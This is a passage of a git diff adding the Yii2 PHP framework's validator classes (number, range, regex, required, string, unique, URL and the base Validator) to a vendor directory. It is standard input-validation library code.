`$attribute` refers to the attribute name to be validated. + * + * Please refer to [[clientValidateAttribute()]] for details on how to return client validation code. + */ + public $clientValidate; + + + /** + * @inheritdoc + */ + public function validateAttribute($object, $attribute) + { + $method = $this->method; + if (is_string($method)) { + $method = [$object, $method]; + } + call_user_func($method, $attribute, $this->params); + } + + /** + * @inheritdoc + */ + public function clientValidateAttribute($object, $attribute, $view) + { + if ($this->clientValidate !== null) { + $method = $this->clientValidate; + if (is_string($method)) { + $method = [$object, $method]; + } + + return call_user_func($method, $attribute, $this->params); + } else { + return null; + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/validators/NumberValidator.php b/php/yii2/basic/vendor/yiisoft/yii2/validators/NumberValidator.php new file mode 100644 index 00000000..e299e96e --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/validators/NumberValidator.php @@ -0,0 +1,157 @@ + + * @since 2.0 + */ +class NumberValidator extends Validator +{ + /** + * @var boolean whether the attribute value can only be an integer. Defaults to false. + */ + public $integerOnly = false; + /** + * @var integer|float upper limit of the number. Defaults to null, meaning no upper limit. + */ + public $max; + /** + * @var integer|float lower limit of the number. Defaults to null, meaning no lower limit. + */ + public $min; + /** + * @var string user-defined error message used when the value is bigger than [[max]]. + */ + public $tooBig; + /** + * @var string user-defined error message used when the value is smaller than [[min]]. + */ + public $tooSmall; + /** + * @var string the regular expression for matching integers. + */ + public $integerPattern = '/^\s*[+-]?\d+\s*$/'; + /** + * @var string the regular expression for matching numbers. It defaults to a pattern + * that matches floating numbers with optional exponential part (e.g. -1.23e-10). + */ + public $numberPattern = '/^\s*[-+]?[0-9]*\.?[0-9]+([eE][-+]?[0-9]+)?\s*$/'; + + + /** + * @inheritdoc + */ + public function init() + { + parent::init(); + if ($this->message === null) { + $this->message = $this->integerOnly ? Yii::t('yii', '{attribute} must be an integer.') + : Yii::t('yii', '{attribute} must be a number.'); + } + if ($this->min !== null && $this->tooSmall === null) { + $this->tooSmall = Yii::t('yii', '{attribute} must be no less than {min}.'); + } + if ($this->max !== null && $this->tooBig === null) { + $this->tooBig = Yii::t('yii', '{attribute} must be no greater than {max}.'); + } + } + + /** + * @inheritdoc + */ + public function validateAttribute($object, $attribute) + { + $value = $object->$attribute; + if (is_array($value)) { + $this->addError($object, $attribute, $this->message); + return; + } + $pattern = $this->integerOnly ? $this->integerPattern : $this->numberPattern; + if (!preg_match($pattern, "$value")) { + $this->addError($object, $attribute, $this->message); + } + if ($this->min !== null && $value < $this->min) { + $this->addError($object, $attribute, $this->tooSmall, ['min' => $this->min]); + } + if ($this->max !== null && $value > $this->max) { + $this->addError($object, $attribute, $this->tooBig, ['max' => $this->max]); + } + } + + /** + * @inheritdoc + */ + protected function validateValue($value) + { + if (is_array($value)) { + return [Yii::t('yii', '{attribute} is invalid.'), []]; + } + $pattern = $this->integerOnly ? $this->integerPattern : $this->numberPattern; + if (!preg_match($pattern, "$value")) { + return [$this->message, []]; + } elseif ($this->min !== null && $value < $this->min) { + return [$this->tooSmall, ['min' => $this->min]]; + } elseif ($this->max !== null && $value > $this->max) { + return [$this->tooBig, ['max' => $this->max]]; + } else { + return null; + } + } + + /** + * @inheritdoc + */ + public function clientValidateAttribute($object, $attribute, $view) + { + $label = $object->getAttributeLabel($attribute); + + $options = [ + 'pattern' => new JsExpression($this->integerOnly ? $this->integerPattern : $this->numberPattern), + 'message' => Yii::$app->getI18n()->format($this->message, [ + 'attribute' => $label, + ], Yii::$app->language), + ]; + + if ($this->min !== null) { + // ensure numeric value to make javascript comparison equal to PHP comparison + // https://github.com/yiisoft/yii2/issues/3118 + $options['min'] = is_string($this->min) ? (float)$this->min : $this->min; + $options['tooSmall'] = Yii::$app->getI18n()->format($this->tooSmall, [ + 'attribute' => $label, + 'min' => $this->min, + ], Yii::$app->language); + } + if ($this->max !== null) { + // ensure numeric value to make javascript comparison equal to PHP comparison + // https://github.com/yiisoft/yii2/issues/3118 + $options['max'] = is_string($this->max) ? (float)$this->max : $this->max; + $options['tooBig'] = Yii::$app->getI18n()->format($this->tooBig, [ + 'attribute' => $label, + 'max' => $this->max, + ], Yii::$app->language); + } + if ($this->skipOnEmpty) { + $options['skipOnEmpty'] = 1; + } + + ValidationAsset::register($view); + + return 'yii.validation.number(value, messages, ' . Json::encode($options) . ');'; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/validators/PunycodeAsset.php b/php/yii2/basic/vendor/yiisoft/yii2/validators/PunycodeAsset.php new file mode 100644 index 00000000..1f65b8d6 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/validators/PunycodeAsset.php @@ -0,0 +1,24 @@ + + * @since 2.0 + */ +class PunycodeAsset extends AssetBundle +{ + public $sourcePath = '@bower/punycode'; + public $js = [ + 'punycode.js', + ]; +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/validators/RangeValidator.php b/php/yii2/basic/vendor/yiisoft/yii2/validators/RangeValidator.php new file mode 100644 index 00000000..6ce9b297 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/validators/RangeValidator.php @@ -0,0 +1,106 @@ + + * @since 2.0 + */ +class RangeValidator extends Validator +{ + /** + * @var array list of valid values that the attribute value should be among + */ + public $range; + /** + * @var boolean whether the comparison is strict (both type and value must be the same) + */ + public $strict = false; + /** + * @var boolean whether to invert the validation logic. Defaults to false. If set to true, + * the attribute value should NOT be among the list of values defined via [[range]]. + */ + public $not = false; + /** + * @var boolean whether to allow array type attribute. + */ + public $allowArray = false; + + + /** + * @inheritdoc + */ + public function init() + { + parent::init(); + if (!is_array($this->range)) { + throw new InvalidConfigException('The "range" property must be set.'); + } + if ($this->message === null) { + $this->message = Yii::t('yii', '{attribute} is invalid.'); + } + } + + /** + * @inheritdoc + */ + protected function validateValue($value) + { + if (!$this->allowArray && is_array($value)) { + return [$this->message, []]; + } + + $in = true; + + foreach ((is_array($value) ? $value : [$value]) as $v) { + if (!in_array($v, $this->range, $this->strict)) { + $in = false; + break; + } + } + + return $this->not !== $in ? null : [$this->message, []]; + } + + /** + * @inheritdoc + */ + public function clientValidateAttribute($object, $attribute, $view) + { + $range = []; + foreach ($this->range as $value) { + $range[] = (string) $value; + } + $options = [ + 'range' => $range, + 'not' => $this->not, + 'message' => Yii::$app->getI18n()->format($this->message, [ + 'attribute' => $object->getAttributeLabel($attribute), + ], Yii::$app->language), + ]; + if ($this->skipOnEmpty) { + $options['skipOnEmpty'] = 1; + } + if ($this->allowArray) { + $options['allowArray'] = 1; + } + + ValidationAsset::register($view); + + return 'yii.validation.range(value, messages, ' . json_encode($options) . ');'; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/validators/RegularExpressionValidator.php b/php/yii2/basic/vendor/yiisoft/yii2/validators/RegularExpressionValidator.php new file mode 100644 index 00000000..dee81ff1 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/validators/RegularExpressionValidator.php @@ -0,0 +1,96 @@ + + * @since 2.0 + */ +class RegularExpressionValidator extends Validator +{ + /** + * @var string the regular expression to be matched with + */ + public $pattern; + /** + * @var boolean whether to invert the validation logic. Defaults to false. If set to true, + * the regular expression defined via [[pattern]] should NOT match the attribute value. + */ + public $not = false; + + + /** + * @inheritdoc + */ + public function init() + { + parent::init(); + if ($this->pattern === null) { + throw new InvalidConfigException('The "pattern" property must be set.'); + } + if ($this->message === null) { + $this->message = Yii::t('yii', '{attribute} is invalid.'); + } + } + + /** + * @inheritdoc + */ + protected function validateValue($value) + { + $valid = !is_array($value) && + (!$this->not && preg_match($this->pattern, $value) + || $this->not && !preg_match($this->pattern, $value)); + + return $valid ? null : [$this->message, []]; + } + + /** + * @inheritdoc + */ + public function clientValidateAttribute($object, $attribute, $view) + { + $pattern = $this->pattern; + $pattern = preg_replace('/\\\\x\{?([0-9a-fA-F]+)\}?/', '\u$1', $pattern); + $deliminator = substr($pattern, 0, 1); + $pos = strrpos($pattern, $deliminator, 1); + $flag = substr($pattern, $pos + 1); + if ($deliminator !== '/') { + $pattern = '/' . str_replace('/', '\\/', substr($pattern, 1, $pos - 1)) . '/'; + } else { + $pattern = substr($pattern, 0, $pos + 1); + } + if (!empty($flag)) { + $pattern .= preg_replace('/[^igm]/', '', $flag); + } + + $options = [ + 'pattern' => new JsExpression($pattern), + 'not' => $this->not, + 'message' => Yii::$app->getI18n()->format($this->message, [ + 'attribute' => $object->getAttributeLabel($attribute), + ], Yii::$app->language), + ]; + if ($this->skipOnEmpty) { + $options['skipOnEmpty'] = 1; + } + + ValidationAsset::register($view); + + return 'yii.validation.regularExpression(value, messages, ' . Json::encode($options) . ');'; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/validators/RequiredValidator.php b/php/yii2/basic/vendor/yiisoft/yii2/validators/RequiredValidator.php new file mode 100644 index 00000000..9f8a119a --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/validators/RequiredValidator.php @@ -0,0 +1,112 @@ + + * @since 2.0 + */ +class RequiredValidator extends Validator +{ + /** + * @var boolean whether to skip this validator if the value being validated is empty. + */ + public $skipOnEmpty = false; + /** + * @var mixed the desired value that the attribute must have. + * If this is null, the validator will validate that the specified attribute is not empty. + * If this is set as a value that is not null, the validator will validate that + * the attribute has a value that is the same as this property value. + * Defaults to null. + * @see strict + */ + public $requiredValue; + /** + * @var boolean whether the comparison between the attribute value and [[requiredValue]] is strict. + * When this is true, both the values and types must match. + * Defaults to false, meaning only the values need to match. + * Note that when [[requiredValue]] is null, if this property is true, the validator will check + * if the attribute value is null; If this property is false, the validator will call [[isEmpty]] + * to check if the attribute value is empty. + */ + public $strict = false; + /** + * @var string the user-defined error message. It may contain the following placeholders which + * will be replaced accordingly by the validator: + * + * - `{attribute}`: the label of the attribute being validated + * - `{value}`: the value of the attribute being validated + * - `{requiredValue}`: the value of [[requiredValue]] + */ + public $message; + + + /** + * @inheritdoc + */ + public function init() + { + parent::init(); + if ($this->message === null) { + $this->message = $this->requiredValue === null ? Yii::t('yii', '{attribute} cannot be blank.') + : Yii::t('yii', '{attribute} must be "{requiredValue}".'); + } + } + + /** + * @inheritdoc + */ + protected function validateValue($value) + { + if ($this->requiredValue === null) { + if ($this->strict && $value !== null || !$this->strict && !$this->isEmpty(is_string($value) ? trim($value) : $value)) { + return null; + } + } elseif (!$this->strict && $value == $this->requiredValue || $this->strict && $value === $this->requiredValue) { + return null; + } + if ($this->requiredValue === null) { + return [$this->message, []]; + } else { + return [$this->message, [ + 'requiredValue' => $this->requiredValue, + ]]; + } + } + + /** + * @inheritdoc + */ + public function clientValidateAttribute($object, $attribute, $view) + { + $options = []; + if ($this->requiredValue !== null) { + $options['message'] = Yii::$app->getI18n()->format($this->message, [ + 'requiredValue' => $this->requiredValue, + ], Yii::$app->language); + $options['requiredValue'] = $this->requiredValue; + } else { + $options['message'] = $this->message; + } + if ($this->strict) { + $options['strict'] = 1; + } + + $options['message'] = Yii::$app->getI18n()->format($options['message'], [ + 'attribute' => $object->getAttributeLabel($attribute), + ], Yii::$app->language); + + ValidationAsset::register($view); + + return 'yii.validation.required(value, messages, ' . json_encode($options) . ');'; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/validators/SafeValidator.php b/php/yii2/basic/vendor/yiisoft/yii2/validators/SafeValidator.php new file mode 100644 index 00000000..fcb8440e --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/validators/SafeValidator.php @@ -0,0 +1,24 @@ + + * @since 2.0 + */ +class SafeValidator extends Validator +{ + /** + * @inheritdoc + */ + public function validateAttribute($object, $attribute) + { + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/validators/StringValidator.php b/php/yii2/basic/vendor/yiisoft/yii2/validators/StringValidator.php new file mode 100644 index 00000000..a75a56a2 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/validators/StringValidator.php @@ -0,0 +1,188 @@ + + * @since 2.0 + */ +class StringValidator extends Validator +{ + /** + * @var integer|array specifies the length limit of the value to be validated. + * This can be specified in one of the following forms: + * + * - an integer: the exact length that the value should be of; + * - an array of one element: the minimum length that the value should be of. For example, `[8]`. + * This will overwrite [[min]]. + * - an array of two elements: the minimum and maximum lengths that the value should be of. + * For example, `[8, 128]`. This will overwrite both [[min]] and [[max]]. + */ + public $length; + /** + * @var integer maximum length. If not set, it means no maximum length limit. + */ + public $max; + /** + * @var integer minimum length. If not set, it means no minimum length limit. + */ + public $min; + /** + * @var string user-defined error message used when the value is not a string + */ + public $message; + /** + * @var string user-defined error message used when the length of the value is smaller than [[min]]. + */ + public $tooShort; + /** + * @var string user-defined error message used when the length of the value is greater than [[max]]. + */ + public $tooLong; + /** + * @var string user-defined error message used when the length of the value is not equal to [[length]]. + */ + public $notEqual; + /** + * @var string the encoding of the string value to be validated (e.g. 'UTF-8'). + * If this property is not set, [[\yii\base\Application::charset]] will be used. + */ + public $encoding; + + + /** + * @inheritdoc + */ + public function init() + { + parent::init(); + if (is_array($this->length)) { + if (isset($this->length[0])) { + $this->min = $this->length[0]; + } + if (isset($this->length[1])) { + $this->max = $this->length[1]; + } + $this->length = null; + } + if ($this->encoding === null) { + $this->encoding = Yii::$app->charset; + } + if ($this->message === null) { + $this->message = Yii::t('yii', '{attribute} must be a string.'); + } + if ($this->min !== null && $this->tooShort === null) { + $this->tooShort = Yii::t('yii', '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.'); + } + if ($this->max !== null && $this->tooLong === null) { + $this->tooLong = Yii::t('yii', '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.'); + } + if ($this->length !== null && $this->notEqual === null) { + $this->notEqual = Yii::t('yii', '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.'); + } + } + + /** + * @inheritdoc + */ + public function validateAttribute($object, $attribute) + { + $value = $object->$attribute; + + if (!is_string($value)) { + $this->addError($object, $attribute, $this->message); + + return; + } + + $length = mb_strlen($value, $this->encoding); + + if ($this->min !== null && $length < $this->min) { + $this->addError($object, $attribute, $this->tooShort, ['min' => $this->min]); + } + if ($this->max !== null && $length > $this->max) { + $this->addError($object, $attribute, $this->tooLong, ['max' => $this->max]); + } + if ($this->length !== null && $length !== $this->length) { + $this->addError($object, $attribute, $this->notEqual, ['length' => $this->length]); + } + } + + /** + * @inheritdoc + */ + protected function validateValue($value) + { + if (!is_string($value)) { + return [$this->message, []]; + } + + $length = mb_strlen($value, $this->encoding); + + if ($this->min !== null && $length < $this->min) { + return [$this->tooShort, ['min' => $this->min]]; + } + if ($this->max !== null && $length > $this->max) { + return [$this->tooLong, ['max' => $this->max]]; + } + if ($this->length !== null && $length !== $this->length) { + return [$this->notEqual, ['length' => $this->length]]; + } + + return null; + } + + /** + * @inheritdoc + */ + public function clientValidateAttribute($object, $attribute, $view) + { + $label = $object->getAttributeLabel($attribute); + + $options = [ + 'message' => Yii::$app->getI18n()->format($this->message, [ + 'attribute' => $label, + ], Yii::$app->language), + ]; + + if ($this->min !== null) { + $options['min'] = $this->min; + $options['tooShort'] = Yii::$app->getI18n()->format($this->tooShort, [ + 'attribute' => $label, + 'min' => $this->min, + ], Yii::$app->language); + } + if ($this->max !== null) { + $options['max'] = $this->max; + $options['tooLong'] = Yii::$app->getI18n()->format($this->tooLong, [ + 'attribute' => $label, + 'max' => $this->max, + ], Yii::$app->language); + } + if ($this->length !== null) { + $options['is'] = $this->length; + $options['notEqual'] = Yii::$app->getI18n()->format($this->notEqual, [ + 'attribute' => $label, + 'length' => $this->length, + ], Yii::$app->language); + } + if ($this->skipOnEmpty) { + $options['skipOnEmpty'] = 1; + } + + ValidationAsset::register($view); + + return 'yii.validation.string(value, messages, ' . json_encode($options) . ');'; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/validators/UniqueValidator.php b/php/yii2/basic/vendor/yiisoft/yii2/validators/UniqueValidator.php new file mode 100644 index 00000000..9b0388a9 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/validators/UniqueValidator.php @@ -0,0 +1,138 @@ + 'a2'] + * // a1 and a2 need to be unique together, and they both will receive error message + * [['a1', 'a2'], 'unique', 'targetAttribute' => ['a1', 'a2']] + * // a1 and a2 need to be unique together, only a1 will receive error message + * ['a1', 'unique', 'targetAttribute' => ['a1', 'a2']] + * // a1 needs to be unique by checking the uniqueness of both a2 and a3 (using a1 value) + * ['a1', 'unique', 'targetAttribute' => ['a2', 'a1' => 'a3']] + * ``` + * + * @author Qiang Xue + * @since 2.0 + */ +class UniqueValidator extends Validator +{ + /** + * @var string the name of the ActiveRecord class that should be used to validate the uniqueness + * of the current attribute value. If not set, it will use the ActiveRecord class of the attribute being validated. + * @see targetAttribute + */ + public $targetClass; + /** + * @var string|array the name of the ActiveRecord attribute that should be used to + * validate the uniqueness of the current attribute value. If not set, it will use the name + * of the attribute currently being validated. You may use an array to validate the uniqueness + * of multiple columns at the same time. The array values are the attributes that will be + * used to validate the uniqueness, while the array keys are the attributes whose values are to be validated. + * If the key and the value are the same, you can just specify the value. + */ + public $targetAttribute; + /** + * @var string|array|\Closure additional filter to be applied to the DB query used to check the uniqueness of the attribute value. + * This can be a string or an array representing the additional query condition (refer to [[\yii\db\Query::where()]] + * on the format of query condition), or an anonymous function with the signature `function ($query)`, where `$query` + * is the [[\yii\db\Query|Query]] object that you can modify in the function. + */ + public $filter; + + + /** + * @inheritdoc + */ + public function init() + { + parent::init(); + if ($this->message === null) { + $this->message = Yii::t('yii', '{attribute} "{value}" has already been taken.'); + } + } + + /** + * @inheritdoc + */ + public function validateAttribute($object, $attribute) + { + /* @var $targetClass ActiveRecordInterface */ + $targetClass = $this->targetClass === null ? get_class($object) : $this->targetClass; + $targetAttribute = $this->targetAttribute === null ? $attribute : $this->targetAttribute; + + if (is_array($targetAttribute)) { + $params = []; + foreach ($targetAttribute as $k => $v) { + $params[$v] = is_integer($k) ? $object->$v : $object->$k; + } + } else { + $params = [$targetAttribute => $object->$attribute]; + } + + foreach ($params as $value) { + if (is_array($value)) { + $this->addError($object, $attribute, Yii::t('yii', '{attribute} is invalid.')); + + return; + } + } + + $query = $targetClass::find(); + $query->andWhere($params); + + if ($this->filter instanceof \Closure) { + call_user_func($this->filter, $query); + } elseif ($this->filter !== null) { + $query->andWhere($this->filter); + } + + if (!$object instanceof ActiveRecordInterface || $object->getIsNewRecord()) { + // if current $object isn't in the database yet then it's OK just to call exists() + $exists = $query->exists(); + } else { + // if current $object is in the database already we can't use exists() + /* @var $objects ActiveRecordInterface[] */ + $objects = $query->limit(2)->all(); + $n = count($objects); + if ($n === 1) { + $keys = array_keys($params); + $pks = $targetClass::primaryKey(); + sort($keys); + sort($pks); + if ($keys === $pks) { + // primary key is modified and not unique + $exists = $object->getOldPrimaryKey() != $object->getPrimaryKey(); + } else { + // non-primary key, need to exclude the current record based on PK + $exists = $objects[0]->getPrimaryKey() != $object->getOldPrimaryKey(); + } + } else { + $exists = $n > 1; + } + } + + if ($exists) { + $this->addError($object, $attribute, $this->message); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/validators/UrlValidator.php b/php/yii2/basic/vendor/yiisoft/yii2/validators/UrlValidator.php new file mode 100644 index 00000000..4c2c0a52 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/validators/UrlValidator.php @@ -0,0 +1,143 @@ + + * @since 2.0 + */ +class UrlValidator extends Validator +{ + /** + * @var string the regular expression used to validate the attribute value. + * The pattern may contain a `{schemes}` token that will be replaced + * by a regular expression which represents the [[validSchemes]]. + */ + public $pattern = '/^{schemes}:\/\/(([A-Z0-9][A-Z0-9_-]*)(\.[A-Z0-9][A-Z0-9_-]*)+)/i'; + /** + * @var array list of URI schemes which should be considered valid. By default, http and https + * are considered to be valid schemes. + */ + public $validSchemes = ['http', 'https']; + /** + * @var string the default URI scheme. If the input doesn't contain the scheme part, the default + * scheme will be prepended to it (thus changing the input). Defaults to null, meaning a URL must + * contain the scheme part. + */ + public $defaultScheme; + /** + * @var boolean whether validation process should take into account IDN (internationalized + * domain names). Defaults to false meaning that validation of URLs containing IDN will always + * fail. Note that in order to use IDN validation you have to install and enable `intl` PHP + * extension, otherwise an exception would be thrown. + */ + public $enableIDN = false; + + + /** + * @inheritdoc + */ + public function init() + { + parent::init(); + if ($this->enableIDN && !function_exists('idn_to_ascii')) { + throw new InvalidConfigException('In order to use IDN validation intl extension must be installed and enabled.'); + } + if ($this->message === null) { + $this->message = Yii::t('yii', '{attribute} is not a valid URL.'); + } + } + + /** + * @inheritdoc + */ + public function validateAttribute($object, $attribute) + { + $value = $object->$attribute; + $result = $this->validateValue($value); + if (!empty($result)) { + $this->addError($object, $attribute, $result[0], $result[1]); + } elseif ($this->defaultScheme !== null && strpos($value, '://') === false) { + $object->$attribute = $this->defaultScheme . '://' . $value; + } + } + + /** + * @inheritdoc + */ + protected function validateValue($value) + { + // make sure the length is limited to avoid DOS attacks + if (is_string($value) && strlen($value) < 2000) { + if ($this->defaultScheme !== null && strpos($value, '://') === false) { + $value = $this->defaultScheme . '://' . $value; + } + + if (strpos($this->pattern, '{schemes}') !== false) { + $pattern = str_replace('{schemes}', '(' . implode('|', $this->validSchemes) . ')', $this->pattern); + } else { + $pattern = $this->pattern; + } + + if ($this->enableIDN) { + $value = preg_replace_callback('/:\/\/([^\/]+)/', function ($matches) { + return '://' . idn_to_ascii($matches[1]); + }, $value); + } + + if (preg_match($pattern, $value)) { + return null; + } + } + + return [$this->message, []]; + } + + /** + * @inheritdoc + */ + public function clientValidateAttribute($object, $attribute, $view) + { + if (strpos($this->pattern, '{schemes}') !== false) { + $pattern = str_replace('{schemes}', '(' . implode('|', $this->validSchemes) . ')', $this->pattern); + } else { + $pattern = $this->pattern; + } + + $options = [ + 'pattern' => new JsExpression($pattern), + 'message' => Yii::$app->getI18n()->format($this->message, [ + 'attribute' => $object->getAttributeLabel($attribute), + ], Yii::$app->language), + 'enableIDN' => (boolean) $this->enableIDN, + ]; + if ($this->skipOnEmpty) { + $options['skipOnEmpty'] = 1; + } + if ($this->defaultScheme !== null) { + $options['defaultScheme'] = $this->defaultScheme; + } + + ValidationAsset::register($view); + if ($this->enableIDN) { + PunycodeAsset::register($view); + } + + return 'yii.validation.url(value, messages, ' . Json::encode($options) . ');'; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/validators/ValidationAsset.php b/php/yii2/basic/vendor/yiisoft/yii2/validators/ValidationAsset.php new file mode 100644 index 00000000..a25acffd --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/validators/ValidationAsset.php @@ -0,0 +1,27 @@ + + * @since 2.0 + */ +class ValidationAsset extends AssetBundle +{ + public $sourcePath = '@yii/assets'; + public $js = [ + 'yii.validation.js', + ]; + public $depends = [ + 'yii\web\YiiAsset', + ]; +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/validators/Validator.php b/php/yii2/basic/vendor/yiisoft/yii2/validators/Validator.php new file mode 100644 index 00000000..f0ce8317 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/validators/Validator.php @@ -0,0 +1,366 @@ + + * @since 2.0 + */ +class Validator extends Component +{ + /** + * @var array list of built-in validators (name => class or configuration) + */ + public static $builtInValidators = [ + 'boolean' => 'yii\validators\BooleanValidator', + 'captcha' => 'yii\captcha\CaptchaValidator', + 'compare' => 'yii\validators\CompareValidator', + 'date' => 'yii\validators\DateValidator', + 'default' => 'yii\validators\DefaultValueValidator', + 'double' => 'yii\validators\NumberValidator', + 'email' => 'yii\validators\EmailValidator', + 'exist' => 'yii\validators\ExistValidator', + 'file' => 'yii\validators\FileValidator', + 'filter' => 'yii\validators\FilterValidator', + 'image' => 'yii\validators\ImageValidator', + 'in' => 'yii\validators\RangeValidator', + 'integer' => [ + 'class' => 'yii\validators\NumberValidator', + 'integerOnly' => true, + ], + 'match' => 'yii\validators\RegularExpressionValidator', + 'number' => 'yii\validators\NumberValidator', + 'required' => 'yii\validators\RequiredValidator', + 'safe' => 'yii\validators\SafeValidator', + 'string' => 'yii\validators\StringValidator', + 'trim' => [ + 'class' => 'yii\validators\FilterValidator', + 'filter' => 'trim', + 'skipOnArray' => true, + ], + 'unique' => 'yii\validators\UniqueValidator', + 'url' => 'yii\validators\UrlValidator', + ]; + /** + * @var array|string attributes to be validated by this validator. For multiple attributes, + * please specify them as an array; for single attribute, you may use either a string or an array. + */ + public $attributes = []; + /** + * @var string the user-defined error message. It may contain the following placeholders which + * will be replaced accordingly by the validator: + * + * - `{attribute}`: the label of the attribute being validated + * - `{value}`: the value of the attribute being validated + * + * Note that some validators may introduce other properties for error messages used when specific + * validation conditions are not met. Please refer to individual class API documentation for details + * about these properties. By convention, this property represents the primary error message + * used when the most important validation condition is not met. + */ + public $message; + /** + * @var array|string scenarios that the validator can be applied to. For multiple scenarios, + * please specify them as an array; for single scenario, you may use either a string or an array. + */ + public $on = []; + /** + * @var array|string scenarios that the validator should not be applied to. For multiple scenarios, + * please specify them as an array; for single scenario, you may use either a string or an array. + */ + public $except = []; + /** + * @var boolean whether this validation rule should be skipped if the attribute being validated + * already has some validation error according to some previous rules. Defaults to true. + */ + public $skipOnError = true; + /** + * @var boolean whether this validation rule should be skipped if the attribute value + * is null or an empty string. + */ + public $skipOnEmpty = true; + /** + * @var boolean whether to enable client-side validation for this validator. + * The actual client-side validation is done via the JavaScript code returned + * by [[clientValidateAttribute()]]. If that method returns null, even if this property + * is true, no client-side validation will be done by this validator. + */ + public $enableClientValidation = true; + /** + * @var callable a PHP callable that replaces the default implementation of [[isEmpty()]]. + * If not set, [[isEmpty()]] will be used to check if a value is empty. The signature + * of the callable should be `function ($value)` which returns a boolean indicating + * whether the value is empty. + */ + public $isEmpty; + /** + * @var callable a PHP callable whose return value determines whether this validator should be applied. + * The signature of the callable should be `function ($model, $attribute)`, where `$model` and `$attribute` + * refer to the model and the attribute currently being validated. The callable should return a boolean value. + * + * This property is mainly provided to support conditional validation on the server side. + * If this property is not set, this validator will be always applied on the server side. + * + * The following example will enable the validator only when the country currently selected is USA: + * + * ```php + * function ($model) { + * return $model->country == Country::USA; + * } + * ``` + * + * @see whenClient + */ + public $when; + /** + * @var string a JavaScript function name whose return value determines whether this validator should be applied + * on the client side. The signature of the function should be `function (attribute, value)`, where + * `attribute` is the name of the attribute being validated and `value` the current value of the attribute. + * + * This property is mainly provided to support conditional validation on the client side. + * If this property is not set, this validator will be always applied on the client side. + * + * The following example will enable the validator only when the country currently selected is USA: + * + * ```php + * function (attribute, value) { + * return $('#country').value == 'USA'; + * } + * ``` + * + * @see when + */ + public $whenClient; + + + /** + * Creates a validator object. + * @param mixed $type the validator type. This can be a built-in validator name, + * a method name of the model class, an anonymous function, or a validator class name. + * @param \yii\base\Model $object the data object to be validated. + * @param array|string $attributes list of attributes to be validated. This can be either an array of + * the attribute names or a string of comma-separated attribute names. + * @param array $params initial values to be applied to the validator properties + * @return Validator the validator + */ + public static function createValidator($type, $object, $attributes, $params = []) + { + $params['attributes'] = $attributes; + + if ($type instanceof \Closure || $object->hasMethod($type)) { + // method-based validator + $params['class'] = __NAMESPACE__ . '\InlineValidator'; + $params['method'] = $type; + } else { + if (isset(static::$builtInValidators[$type])) { + $type = static::$builtInValidators[$type]; + } + if (is_array($type)) { + $params = array_merge($type, $params); + } else { + $params['class'] = $type; + } + } + + return Yii::createObject($params); + } + + /** + * @inheritdoc + */ + public function init() + { + parent::init(); + $this->attributes = (array) $this->attributes; + $this->on = (array) $this->on; + $this->except = (array) $this->except; + } + + /** + * Validates the specified object. + * @param \yii\base\Model $object the data object being validated + * @param array|null $attributes the list of attributes to be validated. + * Note that if an attribute is not associated with the validator, + * it will be ignored. + * If this parameter is null, every attribute listed in [[attributes]] will be validated. + */ + public function validateAttributes($object, $attributes = null) + { + if (is_array($attributes)) { + $attributes = array_intersect($this->attributes, $attributes); + } else { + $attributes = $this->attributes; + } + foreach ($attributes as $attribute) { + $skip = $this->skipOnError && $object->hasErrors($attribute) + || $this->skipOnEmpty && $this->isEmpty($object->$attribute); + if (!$skip) { + if ($this->when === null || call_user_func($this->when, $object, $attribute)) { + $this->validateAttribute($object, $attribute); + } + } + } + } + + /** + * Validates a single attribute. + * Child classes must implement this method to provide the actual validation logic. + * @param \yii\base\Model $object the data object to be validated + * @param string $attribute the name of the attribute to be validated. + */ + public function validateAttribute($object, $attribute) + { + $result = $this->validateValue($object->$attribute); + if (!empty($result)) { + $this->addError($object, $attribute, $result[0], $result[1]); + } + } + + /** + * Validates a given value. + * You may use this method to validate a value out of the context of a data model. + * @param mixed $value the data value to be validated. + * @param string $error the error message to be returned, if the validation fails. + * @return boolean whether the data is valid. + */ + public function validate($value, &$error = null) + { + $result = $this->validateValue($value); + if (empty($result)) { + return true; + } else { + list($message, $params) = $result; + $params['attribute'] = Yii::t('yii', 'the input value'); + $params['value'] = is_array($value) ? 'array()' : $value; + $error = Yii::$app->getI18n()->format($message, $params, Yii::$app->language); + + return false; + } + } + + /** + * Validates a value. + * A validator class can implement this method to support data validation out of the context of a data model. + * @param mixed $value the data value to be validated. + * @return array|null the error message and the parameters to be inserted into the error message. + * Null should be returned if the data is valid. + * @throws NotSupportedException if the validator does not supporting data validation without a model + */ + protected function validateValue($value) + { + throw new NotSupportedException(get_class($this) . ' does not support validateValue().'); + } + + /** + * Returns the JavaScript needed for performing client-side validation. + * + * You may override this method to return the JavaScript validation code if + * the validator can support client-side validation. + * + * The following JavaScript variables are predefined and can be used in the validation code: + * + * - `attribute`: the name of the attribute being validated. + * - `value`: the value being validated. + * - `messages`: an array used to hold the validation error messages for the attribute. + * - `deferred`: an array used to hold deferred objects for asynchronous validation + * + * @param \yii\base\Model $object the data object being validated + * @param string $attribute the name of the attribute to be validated. + * @param 